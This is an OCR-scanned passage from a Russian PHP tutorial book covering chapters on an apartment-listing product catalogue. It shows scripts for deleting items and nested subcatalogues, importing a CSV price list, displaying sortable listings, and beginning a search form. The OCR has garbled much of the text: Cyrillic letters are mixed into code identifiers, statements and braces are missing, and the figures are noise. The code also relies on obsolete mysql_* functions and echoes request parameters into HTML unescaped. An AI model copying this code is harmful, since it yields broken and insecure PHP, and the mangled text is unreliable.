Гл а ва 1 З. Каталог продукции (у слуг) листинг 13.8 . Удаление позиции, po sdel.php <?php ?> / / Устанавливаем соединение с базой данных requi re_once (" ../ . ./config/ config .php " ); / / Подключаем блок автори зации requi re_once (" ../uti1s/security_mod .php" ) ; / / Подключаем SoftTime FrameWork require_once (" ../ . ./config/c1ass.config . dmn . php" ) ; / / Проверяем GЕТ-параметры, предотвращая SQL-инъекщшо $_GET ['id_position ' ] $_GET [ 'id_cata1og '] intva1 ( $_GET ['id_po sition ']); intva1 ( $_GET ['id_cata1og ']); try // Формируем и выполняем SQL-запрос // на удаление новостного блока из базы данных $query = "DELETE FROM $tb l_cat_position WHERE id_ро sitiоп=$_GЕТ [id-р оsitiоп] LIMIT 1"; if (mysq1_query ($query) ) header ("Locat ion : pos ition . php ? ". "id_c ata1og=$_GET [id_c ata1og ] &" . "page=$_GET [page ]"); else throw new ExceptionМySQL (mys q1_error () , $que ry, catch ( ExceptionМySQL $ехс ) "Ошибка удаления позиции" ) ; require (" ../uti1s/exception_mys q1 .php ") ; 709
710 Часть 11. Создание сайmа Скрипт catdel.pl1 p имеет более сложную структуру, так как должен обеспечи­ вать удаление в том числе и вложенных подкатал огов. Это достигается за счет рекурсивной функции del_catalog (), которая спускается по дереву ка­ тал огов, удаляя все вложенные подкаталоги и их позиции (листинг 13.9). Функция принимает в качестве первого параметра значение первичного кл ю­ ча удаляемого подкаталога, а в кач естве второго и третьего параметров - имена табл иц для хранения подкаталогов и их позиций соответственно. ЗА МЕЧА НИЕ Рекурсивной называется функция, кото рая вызывает сама себя. Листинг 13.9 , Функция de l_cata log () : рекурсивное удаление подкаталога <?php // Рекур сивная функция удаления подкаталога // с первичным ключом $id_c atalog function del_catalog ($id_catalog, $tbl_cat_catalog , $tbl_cat-pos ition ) // Преобразуем параметр $id_catalog к целому значению $id_ca talog = intval ($id_catalog) ; // Осуществляем рекурсивный спуск, для того // чтобы удалить все вложенные подка талоги $query = "SELECT * FROM $tbl_cat_catalog WНERE id_parent = $id_catalog" $cat = my sql_que ry ( $query) ; if (!$cat ) throw new ExceptionМySQL (mys ql_error () , $que ry, "Ошибка удаления подкаталога ") ;
Глава 1 З. Каталог продукц ии (услуг) ?> wh ile ($catalog = my sql_fetch_array ($cat) ) del_catalog ($catalog ['id_catalog '], $tbl_cat_catalog, $tbl_cat-pos ition) ; // Удаляем товарные позиции , принадлежащие каталогу $query = "DELETE FROM $tb l_cat_po sition WНERE id_catalog=$id_c atalog" ; if ( !mys ql_query ($query) ) ( ) throw new Except ionМyS QL (mys ql_error () , $que ry, "Ошибка удаления подкаталога ") ; // Удаляем каталог с первичным кmочом $id_catalog $query = "DELETE FROM $tbl_cat_catalog WНERE id_catalog=$ id_catalog" ; Н( !mysql_query ($query ) ) throw new Except i onМySQL (mys ql_e rror () , $que ry , "Ошибка удаления подкаталога") ; 711 с учетом использования функции del_са talog ( ) из листинга 13.9 скрипт удал ения каталога catdel .php может выглядеть так, как это представлено в л истинге 13.10. ЛИСТИНГ 13.10. Удаление каталога , catdel .php <?php // Устанавливаем соедин ение с базой данных require_once (" ../ ../config/config .php" ) ;
712 Часть 11. Создание са йта ?> // Подключаем блок авторизации require_o nce (" ../utils/ security_rnod .php ") ; // Подключаем SoftTirne FrarneWork require_once ( .. ../ . ./config/class . config . drn n .php") ; // Проверяем GЕТ -параметры, предотвращая SQL-инъеКЩil lО $_GET ['id_catalog '] = intval ( $_GET ['id_catalog ']); try // Удаляем каталог со всеми вложенными подкаталогами del_catalog ( $_GET ['id_catalog' ], $tbl_cat_catalog , $tb l_cat_pos ition ) ; // Осуще ствляем пере адресацию на главн�о страницу heade r ("L ocation : index .php?" . "page=$_GET [page ]"); catch ( ExceptionМySQL $ехс ) require ( .. ../utils/except ion_rny sql .php .. ); 13.3. Импорт прай с-листа Добавление в катал ог нескольких сотен товарных позиций может быть большой проблемой и занимать бол ьшое кол ичество времени. Кроме того, зачасryю прайс-л ист поддерживается в формате Exce l, а на сайте информа­ ция согл асуется с ним время от времени. Удобнее всего автомат изировать преобразование в отобразимый формат существующего прайс-л иста в фор­ мате Excel через промежуточный формат CSV. Пусть имеется Ехсеl-файл формата, представленного на рис. 13.6. ЗА МЕЧА НИЕ ГОТОВЫЙ СSV-файл со СТРУКТУРОЙ , представленной на рис. 13.6, можно най­ ти на ко мпакт-диске, поставляемом вместе с КНИГОЙ.
гл ав а 13. Каталог продукции (у слуг) 713 Д;� : �� I Щ�l t ��;� ��� i�:� �,� � е. �II :'.�це.�i\ . ;��� · + ���oo� ·��� ..•. .. .. ·· · · 1 ·�OOO;· 1 '450000"i'i�UR" . 120ii <Г ii70000 RUR ! i 14000 ' 55000blRUR ............... ' iзооо' OOOOOo:RUR <. . . ..• . 1jiJQQ. . �@i>.:R.\J.�·:.. . . 13000. 500oo0 !RUR Рис. 13.6. Структура Ехсе l-файла прайс-листа С SV-файл (Соmmа Sepal"ated Val lle) - это тексто вый файл, в котором дан ные отформатированы следующим образом : строки представляют собой стр оки табли цы, а столбцы разделены заранее определенным символом­ разделит�лем, например ";". Так как символ-разделител ь может быть произ­ вольным, то для корректного импорта CSV -файла символ-разделител ь необ­ ходи мо внести в соответствующее поле формы. Чтобы сохран ить Excel­ документ как СSV-файл, нужно выбрать в меню Фай л пункт Сохр а­ нить как ... и указать в выпадающем списке формат CSV. Так как Ехсеl сохраняет в формате CSV только один лист - за один раз бу­ дут импортироваться то варные позиции тол ько в один подкаталог, с уничто­ же нием всех предыдущих записей из табл ицы system product ($ tbl_с а t_p r o du c t ), кото рые относятся к обновляемому катал огу. На рис. 13.7 представлен внешний вид НТМL-формы, осуществляющей им­ порт информации из CSV-файла в катал ог продукци и. Как видно из рисун ка, НТМL-форма содержит поле типа file для загрузки CSV-файла на сервер и тексто вое поле, позволяющее задать тип раздел ителя полей в файле (по умолчан ию - точка с запятой).
714 Часть 11. Создание сайmа Е\Q.!Ш.Qg, Ш:.9 .. ШS'Ш t!i!il l<JiQJlQ!;:Пi 1........ ..................... Рэзделшеnь �: 1:....--. .-..- ; Импорт ировать Рис. 13.7. НТМL-форма для импорта прайс-л иста - в блоке адм инистрирования катал ога продукции за импорт продукции несет ответственность файл саtсsvimрогt.рllр, содержимое кото рого представлено в листи нге 13.1 1. ЗА МЕЧА НИЕ Для работы скрипта из листи нга 13.1 1 потребуется создать катал ог fi le/csvfi le с правами доступа, позволяющими скрипту созда вать в нем фай­ лы. Этот катал ог используется для временного хранения файла CSV. Листинг 13.1 1 . Импорт прай с -л иста при помощи catcs\limport. php <?php // Устанавливаем соединение с базой данных requi re_o nce (" ../ ../con fig/config .php " ) ; // Подключаем блок авторизации requi re_once (" ../utils/security_rn od .php" ) ; // Подключаем кл ассы формы requi re_once (" . ./ . . /conf ig/class .config . drn n .php "); // Если поле separator пусто - ИСПОЛЬЗУем // по умолчанию в качестве разделителя ТОЧКУ с запятой if (ernpty ( $_REQUEST ['separator' ])) $_REQUEST ['separator '] $csvfile new field_file ("c svfile ", "СSV- файл " , Н." . ,,
� � а�в �а � 1�З _ . _ К _ а _ m _ а _ л _ о г�п р � о _ д �у _ к� ц _ uu��� с _ л� у�� __________________________________ _ 7 _ 15_ true , $_FILES , $ separator " ../ ../files /csvfile/") ; new field_t ext ("separator" , "Ра зделитель ", try true , $_REQUE ST ['separator' ]); new field_hidden_int ("id_catalog" , true , $_REQUEST['id_catalog ']); // Форма $fonn = new fonn ( array ("c svfile " => $csvfile , "separator" = > $separator, "id_catalog" = > $id_catalog ), "Импортировать " , "field" ); // Обработчик НТМL- формы if( !empty($_POST} ) // Пр оверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn->check () ; if (emp ty ( $error) ) // Читаем содержимое загруженного файла $filename " ../ . ./files / csvfile/" . $fonn->fields ['c svfile ']->get_filename () ; $content = file_get_contents ($filename) ; / / Удаляем файл ип liпk ($filепamе) ; // Разделитель $separator = $fonn->fields ['separator ']->value ; // Если имеются пустые позиции , забиваем их прочерком // в начале файла 11 -"
716 $content str_replace ("\п" . $separator, "\n-" .$separator, $content) ; // в середине файла Часть /1. Создание сайmа $content = str_replace ($separator . $separator, $separator ."- ".$separator, $content ); // в конце файла $content = str_replace ($separator ."\n" , $separator ."- \n" , $content ) ; // Разбиваем файл по строкам, каждую из которых заносим // в отдельный элемент временного ма ссива $strtmp $strtmp = explode ("\n" , $ с опtепt ); // Разбиваем строку по отдельным словам, используя // разделитель $separator $i=О; foreach ($strtmp аз $value ) // Если строка пуста - выходим из цикла . Пустые строки могут // появиться , если в конце СSV-файла находятся пустые строки if (emp ty ( $value) ) continue ; // Разбиваем строку по разделителю list ( $district , // Район $address , // Адрес $floor, // Этаж $floorhous e, // Этажность дома $material , // Материал дома $rooms , // К- во комнат $square_o , // Площадь общая $square_j , // Площадь жилая $square_k , // Площадь комнат $зи, // Санузел $balcony , // Тип балкона $note , // Замечание $pricemeter, // Цена за метр $price , // Цена
Глава 13. Каталог проду кции (у слуг) $currency 11 Валюта ) = explode ($separator, $value) ; 11 Игнорируем строку с заголов ками if ( $district == "Район" ) cont inue ; 11 Увеличиваем значение сче тчика $i++ ; 11 определяем район по первым трем буквам его названия switch ( substr(s trtolowe r ($di strict) , О, 3) ) case 'кан' : $district break; case 'ниж' : $district break; case 'со в' : $district break; case 'при' : $district break; case 'мо е' : $district break; case 'ав т' : $district break; case 'лен' : $district break; case 'сор' : $district break; 11 Материал дома "kanavins kii "; "ni zhego rods kii "; "sovets kii "; "priokskii "; "mos kovs kii"; "avt ozavods kii"; "lenins kii" ; "sormovs kii"; switch (substr ($ma terial , О, 3) ) cas e 'кир' : 717
718 ) $mat erial break; case 'пан' : $mat erial break; case 'мон' : $material break; "brick" ; "conc rete "; "reconcrete" ; // Санузел switch (substr (strtolower ($su) , О, 1) ) ) case 'с' : $su = "separate "; break; case 'р' : $su = "comb ined"; break; Часть 1/. Создание сайmа // Лоджия /Балкон switch (substr (strtolower ( $balcony) , О, 1) ) case 'л': $balcony break; case 'б' : $balcony break; // Валюта "loggia" ; "balcony" ; $currency = trim($currency) ; / / Пр еобразуем кавычки $note $district $address $currency mys ql escape_s tring ($not e) ; my sql_escape_s tring ($di strict) ; my sql_escape_s tring ($addre ss ) ; my sql_escape_string ($currency) ; // Формируем и выполняем SQL-запрос на добавление позиции $insert_query [] = "(NULL ,
Гпава 1 З. Каталог продукции (у слуг) '$note ' , , $district ' , , $address ' , $square_o , $square_j , $square_k , $rooms , $floor, $floorhous e, '$material ' , '$su' , , $balcony ' , $price , $pricemet er, , $currency ' , 'show ' , $i, NOW (), ($form- >fields [id_catalog ] - >value ) ) "; if {is_a rray {$insert_query) ) 11 Удаляем записи из таблицы $tbl_ca t_po sition, 11 принадлежащие данному подкаталогу $query = "DELETE FROM $tb l_cat_po sition 719 WНERE id_catalog= {$form->fields [ id_c atalog ] ->value )"; if ( !mysql_qu ery ($que ry) ) throw пеw Except ionМySQL (mys ql_e rror () , $que ry, "Ошибка при удалении старых позиций" ) ; 11 Начало формир ования SQL- запроса на вставку данных 11 из СSV- файла $que ry = "INSERT INTO $tbl_c a t_p osition VALUES "оimplode (", ", $insert_que ry) ;
720 Часть 11. Создание са йта // Выполняем много строчный оператор INSERT if ( ! rnysql_que ry ($query) ) throw new Except i onМySQL (rnysql_error () , $que ry, "Ошибка при вставке новых позиций" ) ; // Осуще ствляем автоматический переход на страницу // администриров ания текуще го каталога header ( "Location : pos ition .php" . "?id_catalog= {$forrn->fields [ id_cat alog ] ->value }") ; ехН(); // Начало страницы $title 'Импорт позиций из СSV-файла '; $pageinfo '<р сlаss=hеlр>Позиции можно импортировать из Ехсеl-формата , предварительно сохранив импортируемый лист как CSV-фаЙл. </р>' ; // Включаем заголовок страницы require_once ("../utils/top .php" ) ; echo "<р><а href=# onCl ick='history .back () '>Назад< /а></р> "; // Выв одим сообщения об ошибках , если они имеются if (!ernpty ($error) ) foreach ($error аз $err) echo "<span style=\ "color : red\ ">$err< / span><br> "; // Выводим НТМL- форму $forrn- >print_forrn () ;
Гла ва 1 З. Каталог продукц ии (у слуг) ?> ca tch (ExceptionObj ect $ехс ) requi re (" ../utils/ except i on_obj ect .php ") ; catch ( Except i onМySQL $ехс ) require ( 11 • ./utils/exception_rny sql .php" ) ; catch ( Except ionМernbe r $ехс ) require (" ../utils/except i on_rnernb er .php ") ; / / Включаем завершение страницы require_once ( 11 ../utilS /bottorn.php") ; 721 Посл е передачи СSV-файла на сервер и помещение его в директорию file/csvfile содержимое файла при помощи функции file_get_content s () передается в переменную $content. Не обязател ьно присваивать значения всем полям, например, поле для примечания может пустовать (см . рис. 13.6). В связи с эти м пустые значения необходимо автоматически заменить на про­ черк 11 -" при помощи трех операто ров str_replace (), заменяющих на сим вол 11 - " пустые значения полей в начале, середине и ко нце строки . Далее при помощи функции explode () содержимое строки $contents разби­ вается на подстроки, заканчивающиеся сим волом переноса строки " \n" . Функция explode () принимает в качестве первого аргумента разделител ь, а в качестве второго - стр оку, подвергающуюся разбиению. В резул ьтате воз­ вращается массив подстрок. Полученные подстроки размещаются во временном массиве $strtrnp , кото­ рый обрабатывается в цикле foreach. Основная задача это го цикла - при помо щи функции explode () разбить строки, размещенные в массиве $strtrnp , на подстроки, разделяемые символом $separator, который задается пользователем в НТМL-форме, а затем преобразовать полученные значения в формат, необходи мый для добавл ения . то варной позиции в табл ицу s ys t ern_po sition ( $tb l_cat_position) . В результате работы цикла образует­ ся массив $insert_que ry, содержащий фрагменты многострочного INSERT­ запроса. Ко нечный запрос собирается в еди ное целое при помощи функции
722 Часть 11. Создание са йmа implode ( ), обратной функци и explode (). Функция implode () объеди н яет элементы массива, переданного во втором аргументе, в строку, разделяя ИХ при помощи раздел ителя, передан ного в первом аргументе . 13.4 . Блок предста вления Блок представления катал ога удобно построить при помощи двух файл о в, содержащих код : (j catalog.php -- дл я вывода структуры катал огов; (j catalog_position.pllp -- для вывода табл ицы с товарными позициями в те ­ ку щем подкаталоге. На рис. 13 .8 представл ен внешний вид гл авной стран ицы il1dex.pllp катал ога риелтерских услуг. о РАЗДЕЛЫ -- -------------------- о НО80crи -- -------------------- Новые кварпщы ВТОР ИЧНЫМ рынок Рис. 13.8 . Список подкаталогов Имя подкатал ога является ссылкой, которая обращается к файлу il1dex.pllp, передавая в GЕТ-параметре id_catalog первичный ключ выбранного подка­ талога. В резул ьтате выводятся навигационные ссылки и принадлежащие подкаталогу товарные позиции (рис. 13.9). В листинге 13.12 представлено содержи мое файла catalog.php, выводящего список подкаталогов текущего катал ога.
гл ава 13. Каталог продукции (услуг) 723 tJ llt.(u){.:nt " -" -" " 'U" • '�-:"_'"О "" '" "" " " ",." - •t .,- ..�'­ �»� �1� "' �t. t"�� � �.щ;olU!i"»"Жuq\!� �.. .. ",:'.� .. .. . ��_�,.�:.» » 4О ОХ)Ц ,":,д ••�If".�����,.. .. Юt�.I"Щ.6&�:n»� It.:v. ,.,. .....<IIl �р.ц.8_;0.0,��1�•� �.,. f!.Щ. . M�т�:UIOJO)� . ow(�ЩIjf1••�rs:j .... "-... fY.t4. � -: "" " -� ."" .. ...., .. .. =-1l'iFЛ/fJ�• '" " :о.' ''' "" "" �.. .. Рис. 13.9. ВЫВОД то варных позиций подкаталога Листинг 13.1 2 . ВЫВОД списка подкаталогов файла catalog.php <?php // Подключаем SoftTime FrameWork require_once ("config/class.config .php" ) ; // УстанаЕЛИЕаем соединение с базой данных requi re_once ("c onfig/config .php" ) ; // Подключаем функцию навигации require_once ("ut ils . navigation.php" ) ; // ЗаГОЛОЕОК requi re_once ("ut ils . title .php" ) ; try // ПРО Ееряем GЕТ-параметры, преДОТЕращая SQL-инъекцию $_GET ['id_catalog '] = intval ( $_GET ['id_catalog ']); $_GET ['page' ] intval ($_GET ['page' ] ) ; // ЗапраШИЕаем параметры текущего раздела $query = "SELECT * FROM $tbl_c at_catalog WНERE hide = 'show ' AND I
724 id_catalog ORDER ВУ pos "; $cat = rnys ql_que ry ( $que ry) ; if (!$cat ) throw new Except i onМySQL (rnysql_error () , $que ry, Часть /1. Создание сайmа "Ошибка при извлечении параметров текуще го раздела") ; if (rnysql_nurn rows ($ca t) ) $current // Подключаем верхний шаблон $pagenarne "Каталог "; $keywords "Каталог "; requi re_once ("ternplates / top .php" ) ; // Заголовок страницы echo title ( $pagenarne) ; if ( $_GET ['id_catalog '] != О) echo "<div><b> <а href=\"catalog . php\ " class=\ "rnain ttl\">Каталог</а>" . rnenu_navi gation ($_GET ['id_catalog ' ] , "", $tbl_cat_catalog) . "</b></div>"; echo "<br>" ; // Проверяем, есть ли подкаталоги , если есть - вьrnодим их $query = "SELECT * FROM $tbl_cat_catalog WНERE hide = 'show ' AND id_parent ORDER ВУ pos"; $cat = rny sql_que ry ($query ); if (!$cat ) ".$ _GET ['id_c atalog ' ] ." throw new Except i onМySQL (rnys ql_error () , $query,
Гла ва 1 з. Каталог продукции (у слуг) "Ошибка при извлечении параметров текуще го раздела") ; echo '<table width="100%" $i=О; border="O" сеllsрасiпg="О" сеllраddiпg="О">' ; whi le ($catalog = rnysql_fet ch_a rray ($cat) ) echo '<tr> <td align=" right "> <td width="100%" class="tablel txt "> 725 <а hre f="catalog . php ?id_catalog= '.$catalog ['id_catalog' ].'" class= "rnain_t t l"> , . $catalog [ 'паше'] . '</a></td> </tr> ' ; echo '</table> '; if ( $_GET ['id_catalog '] != О) // Подключаем список товарных позиций requi re_once ("catalog_p os ition . php " ); // Подключаем нижний шаблон requi re_once ("ternplates /bottorn.php" ) ; catch ( Except i onМySQL $ехс ) rеquirе_опсе ("ехсерt i оп_rnуsql_dеЬug .рhр " ); catch ( Except i onМySQL $ехс ) requi re_once ("exception_rny sql_debug .php " );
726 Часть 11. Создание сайта catch ( ExceptionМernber $ехс ) requi re_once ("excepti on_memb er_debug .php " ); ?> После установки соединения с базой данных в файле il1dex.php (см . листинг 8.17) выполняется проверка, является ли GET-параметр id_catalog целым числом. Если параметр не передан, следовател ьно, проис­ ходит запрос к корневому катал огу, не имеющему записи в табли це system_ catalog ( $tbl_cat_catalog) . В этом случае элементу суперглобал ь­ ного массива $_GET [ , id_с а talog ' ] присваивается значение нуль. Если текущий каталог - корневой, файл il1dex.pl1p осуществляет вывод только его подкаталогов; если же текущий катал ог имеет первичный ключ id_catalog, отличный от нуля, то помимо подкатал огов выводятся ссылки на катал оги, расположенные уровнем выше, а также табл ица с товарными пози­ циями текущего каталога, если, конечно, они есть . В конце файла index.pl1p при помощи оператора include происходит вклю­ чение файла catalog--IJоsitiОI1.рhр, ответственного за вывод таблицы с то вар­ ными позициями. Содержимое файла catalog--IJоsitiоl1.рI1р приведе но в лис­ тинге 13.13. ЗА МЕЧАНИЕ Включение файла catalo9_position.php происходит тол ько в том случае, ес­ ли текущий каталог - не корневой. Листинг 13.13. ВЫВОД то варных пози ций, catalo9-position .php <?php // Выводим таблицу с товарными позициями // Формируем ассоциативный ма ссив , где в качестве ключей // выступают параметры, передаваемые в строке запроса , // а в качестве значений - имена полей таблицы product $orde r = array() ; $order [ , roomsorder ' ] = "rooms"; $order [ 'districtorder '] = "district" ; $orde r ['square_o _o rder '] = "square_o" ;
Глава 1 з. Ка талог продукц ии (услуг) $ order ['s quare_k _o rde r' ) "square_k" ; $orde r ['price_me tr_order ') = "priceme ter" ; $orde r [ 'price_orde r' ) "price" ; $orde r [ , floor_order ' ) "floor" ; $ order ['floor_house_order ') = "floorhouse" ; $order [ , currency_order ' ) = "currency" ; $order [ , su_order ' ) = " зи" ; $ order [ 'balcony_order ' ) = "balcony" ; $order [ 'material_order ' ) = "material"; / / Формируем временную переменную $strtmp , которая далее // исполь зуется для сортировки резуль татов SQL-запроса // при извлечении товарных позиций из таблицы product // По умолчанию сортируем товарные позици и по полю роз $strtmp = "роз "; // Если через параметр строки запроса задана прямая или обратная // сортировка по одному из полей таблицы order, изменяем значение // временной переменной $strtmp foreach ($orde r аз $parametr => $field) if ( isset ($_GET [$pa ramet r) )) if ($_GET [$parametr) { "ир" ) $_GET [$parametr) = "down" ; $strtmp = $field; else $_GET [$parametr) = " ир" ; $strtmp = "$field DE S C" ; else $_GET [$parametr ) "up" ; // Выбираем из таблицы product $query = "SELECT * FROM $tbl_catyosition WНERE id_catalog=$_GET [id_ catalog ) 727
728 Часть 11. Создание сайта ORDER ВУ $strtmp" ; $pos = mysql_query ($que ry) ; if (!$pos ) { throw new Except i onМySQL (mysql_error () , $query, "Ошибка ПрИ извлечении параметров текуще го раздела ") ; // Количество рядов в наборе должно быть больше НУЛЯ if (mуsql_пuш_rОWS ($роs » О) // Формируем ссылку, с помощью которой // можно сортировать товарные позиции / / по выводимым полям таблицы $href = "catalog . php?id_c atalog=$_GET [id_catalogJ "; echo "<table width=l OO% bo rde r=O cellspacing=l cellpadding=l><tr class=stable tr ttl clr> <td align=center class=stable_t xt> <Ь><а class=main txt hrе f=$hrеf&rооmsоrdеr=$_GЕТ [rооms оrdеrJ >Кол . комн .</а></Ь> </td> <td align=center class=stable txt> <Ь><а class=main txt href=$href&districtorde r=$_GET [districtorderJ >Район</а></Ь> </td> <td align=center class=s table txt> <b><span class=main_txt>Aдpe c</span> </b> </td> <td align=center class=s table txt> <Ь><а class=main txt hre f=$href&square_o _o rder=$_GET [squa re_o _o rderJ > (О) </а></Ь> </td> <td align=center class=stable txt> <Ь><а class=main txt hre f=$hre f&square_j _order=$_GET [square_j _orde rJ > (Ж) </а></Ь>
Глава 1 З. Каталог продукции (услуг) 729 </td> <td align=center class=s table txt> <Ь><а class=main txt hre f=$href&square_k_o rde r=$_GET [square_k _order] > (K) </а> </Ь> </td> <td align=center class=stable txt> <Ь><а class=main txt hrе f=$hrе f& flооr_оrdеr=$_GЕТ [flооr_о rdеr] >Этаж< /а>< /Ь> </td> <td align= center class=stable txt> <Ь><а class=main txt hre f=$hre f& floor_hou se_orde r=" . "$_GET [floor_house_orde r] >Эт . дома</а></Ь> </td> <td align=center class=stable_t xt> <Ь><а clas s=main txt hre f=$href&rnaterial_o rder=$ GET [material_o rder] >Xap< /a></b> </td> <td align=center class=stable txt> <Ь><а class=main txt href=$hre f&su_orde r=$_GET [su_o rder] >C/Y< /a>< /b> </td> <td align=center class=stable txt> <Ь><а class=main txt href=$href&balcony_order=$ GЕТ [Ьаlсопу_оrdеr] >Л /В</а></Ь> </td> <td align=cent er class=stable txt> <Ь><а class=ma in txt hre f=$hre f&price_metr_o rder=" . "$_GET [price_me tr_order] >Цена , <br>M . KB . </а></Ь> </td> <td align=center class=stable_t xt> <Ь><а class=main txt hrеf=$hrеf&рriсе_о rdе r=$_GЕТ [рriсе_оrdеr] >цена , общ. </а>< /Ь> </td> <td align=cent er class=stable_t xt> <Ь><а clas s=main txt hre f=$hre f&currency_o rde r=$_GET [currency_orde r] >Валюта< /а></Ь>
730 Часть 11. Создание сайта </td> <td align=center class=stable txt> <Ь><эрап Сlаss=mаiп_tхt>Прим .</sрап></Ь> </td> </tr>" ; $i=О; whi le ($position // Определяем район switch ($position ['district ']) сазе 'kanavinskii ': $distr = "КанавинсКИЙ ."; break; сазе 'ni zhegorods kii ': $distr = "Нижегородский "; break; сазе 'sovet skii ': $distr = "Советский" ; break; сазе 'priokskii ': $distr = "Приокский "; break; сазе 'moskovs kii ': $distr = "Московский" ; break; сазе 'avtozavods kii ': $distr = "Автозаводский" ; break; сазе 'lenins kii ': $distr = "Ленинский "; break ; сазе 'sormovs kii ': $distr = "Сормовский" ; break; default: $distr=" &nbэр" ;
Глава 13. Каталог продукции (услуг) // Определяем материал дома switch ($pos ition ['rnaterial ']) case 'brick' : $rnaterial "Ю1рп. "; break; case 'conc rete ': $rnaterial = "панел ."; break; case 'reconcrete ': $rnaterial = "моноли т. "; break ; default : $rnaterial=" &nbsp"; // Определяем тип санузла switch ($position['su' ]) } case 'separate ': $su = "сов. "; break; case 'combined ': $su = "разд. "; break; de fault : $su= " &nbsp"; // Определяем наличие балкона switch ($position ['balcony' ]) case 'balcony' : $balcony = "балкон" ; break; case 'loggia ': $balcony = "лоджия" ; break; de fault : $balcony=" &nbsp" ; if ( $i++ % 2) $class = "stable_tr_clr2"; else $class = "stable_tr_clrl"; 731
732 // Выводим строку таблицы echo "<tr class =\"$class\"> <td align=center class=stable_txt> $position [ rooms ] </td> <td class=stable txt> $distr </td> <td class=stable txt> $pos ition [ addres s] </td> <td align=cent er class=stable_t xt> $pos ition [squareo ] </td> <td align=center clas s=stable txt> $position [squarej ] </td> <td align=center class=stable_t xt> $pos ition [squarek] </td> <td align=center class=stable_t xt> $pos ition [floor ] </td> <td align=center class=stable txt> $pos ition [ floorhous e] </td> <td align=center class=stable txt> $material </td> <td align=center class=stable txt> $su </td> <td align= center class=stable txt> $balcony </td> <td align=center class=stable txt> $position [ pricemeter] </td> Часть /1. Создание сайта
Глава 1 З. Каталог продукц ии (услуг) 7ЗЗ ?> <td align=center class=stable_t xt> $position [price ] </td> <td align=center class=stable_t xt> $pos ition [ currency] </td> <td class=stable txt> $pos ition [note] </td> </tr>"; echo "</table> "; Как видно из листинга 13.13, в начале скрипта происходит вывод названия подкаталога и его описания при помощи ас социати вного массива $catc. Далее SQL-запрос извлекает из табл ицы sys tem po sition ($tbl_cat_position) товарные позиции подкатал ога, доступные дл я про­ смотра (дл я которых поле hide принимает значение 'show') . Есл и в катал оге п рисутствует хотя бы одна товарная позиция, выводится шапка табл ицы и ее стр оки при помощи цикла wh ile. Отдел ьного рассмотрения заслуживает шап ка табл ицы, в которой перечислены названия столбцов. Практически все имена являются ссылкам и, позволяющими производить п рямую И обратную сортировку табл ицы по столбцу. Ссылка пе­ редает файлу catalog.pl1p параметр id_c atalog - первичный ключ записи таб­ лицы system_ catalog ($tbl_cat_catalog), соответствующий родител ьскому катал огу, а также параметр, совпадающий с одн им из кл ючей массива $order, формируемого в начале файла catalog_position.pl1 p. Значения массива совпада­ ют с именами стол бцов табл ицы system_p osition ($tbl_cat_po sition). Обра­ ботка последнего из передаваемых параметров catalog.pllp осуществляется сравнением его с кл ючами массива $orde r в цикле foreach. Если значение па­ раметра установлено и он принимает значение " ир " , то временной пере мен ной $ strtmp, испол ьзуемой для формирования SQL-запроса, присваивается имя столбца, по которому далее производится сортировка в прямом направлении. Сам параметр при этом принимает значение " down" , что при повторном пере­ ходе по ссылке приводит к присвоению переменной $strtmp имени столбца с кл ючевым сл овом DE SC (например, " price DE SC" ) , что далее приводит к обрат­ ной сортировке табл ицы по стол бцу.
ГЛАВА 14 Система поиска по сайту Поиск по сайту может принимать различные формы. Для разработанного в гла­ ве 13 каталога продукции уместн ым будет многофункциональный поиск по всем параметрам товарной позиции. При поиске по сайту, скорее всего, доста­ точно одной строки для ввода ключевых слов и кнопки для отп равки их обра­ ботчику (большое количество элементов управления будет тол ько запутывать и раздражать посетителей). В данной главе рассмотрено нескол ько вариантов поиска: как специализированный поиск по каталогу продукции (см . главу 13), так и пол нотекстовый поиск по всем ранее разработанным блокам . 14.1 . С пециал изированный поиск по каталогу Каталог продукции был бы незаконченным, есл и бы не предоставлял сервиса поиска по товарным позициям. В данном разделе будет рассмотрена система поиска по ряду критериев. Поиск осуществляется по содержимому полей базы данн ых, описывающих каждую квартиру, и не зависит от подкаталога, в котором расположено ее описание. Страница поиска по каталогу (рис. 14.1) содержит форму поиска, поля кото­ рой соответствуют стол бцам табл ицы sуstеш_ро sitiоп ( $tb l_cat_position) . Для поиска кварти ры посетител ь может установить требуемые критерии по­ иска в полях формы, например, задать район, кол ичество комнат, це новой диапазон как самой квартиры, так и квадратного метра и т. д. И нажать кноп­ ку Иекать .
Гла ва 14. Система поиска по сайту .�' ' . �'JW1jс_.�Юt Q I<АТАЛОГ ��� �� ������� =�I-Q I�.� . � .��.�:!, _ ;�.�,�.�.�H��fj ("A�. V)l:/1 : .------------ - - --------- - :а:I oTI.. . ....... . ........ ............................ руб. : ,:,:) 1.. . .�. QНОВОCJ И ,- ------- . :. . .' -'-.. . . Рис. 14.1 . Форма поиска по каталогу o1 r l ==== =� А О [ . . . . . . ш ш . , 1.н.�...и. II1�.I3 .!. . .�н.".�.е.н.и.�.EJ JЮQw;�.>5аnк� : I . �.� ..� .� .��!.. . ?.��.��.��.�B �1)&(Те:�t:r1�Ъ : I.�� ..�����,!. ..��.��.�.�.�.�.8 I � ��К8.Нeтp,p�.: 01 "' ..."' . ======= .. ", . ..;.; ; ... ", ..> 00 1.. _ . ..._.... ... Рис. 14.2 . Результаты поиска 735
736 Часть 11. Создание сайта Если поиск дал резул ьтаты, под формой поиска будет выведена соответст­ вующая таблица (рис. 14.2). Вид и состав полей табл ицы с результатами поиска полностью аналогичн ы табл ице квартир, отображаемой при "ручной" навигации по катал огу (см . рис. 13. 9). Если поиск не дал результатов, вместо табл ицы квартир будет выведе но со­ общение: Поиск не дал результатов, попробуйте изменить критерии по­ иска. При разработке системы поиска форма и ее обработчик будут расположены в од ном файле catalog_searcll .pllp, содержимое которого представл ено в лис­ тинге 14.]. Листинг 14.1 . Файл catalo9_search.php <?php // Подключаем SoftTirne FrarneWork require_once ("config/class . config .php" } ; // Устанавливаем соединение с базой данных requi re_once ("c onfig/conf ig .php" } ; // Подключаем функцию навигаци и requi re_once ("ut ils . navi gat ion . php " }; // Заголовок requi re_once ("ut ils .title .php " }; try // Подключаем верхний шаблон $pagenarne $keywords "Поиск по каталогу" ; "Поиск по кат алогу" ; require_once ("templates / top .php" ) ; // Заголовок страницы echo title ( $pagenarne} ; ?> <forrn rnethod=post> <input type= "hidde n"
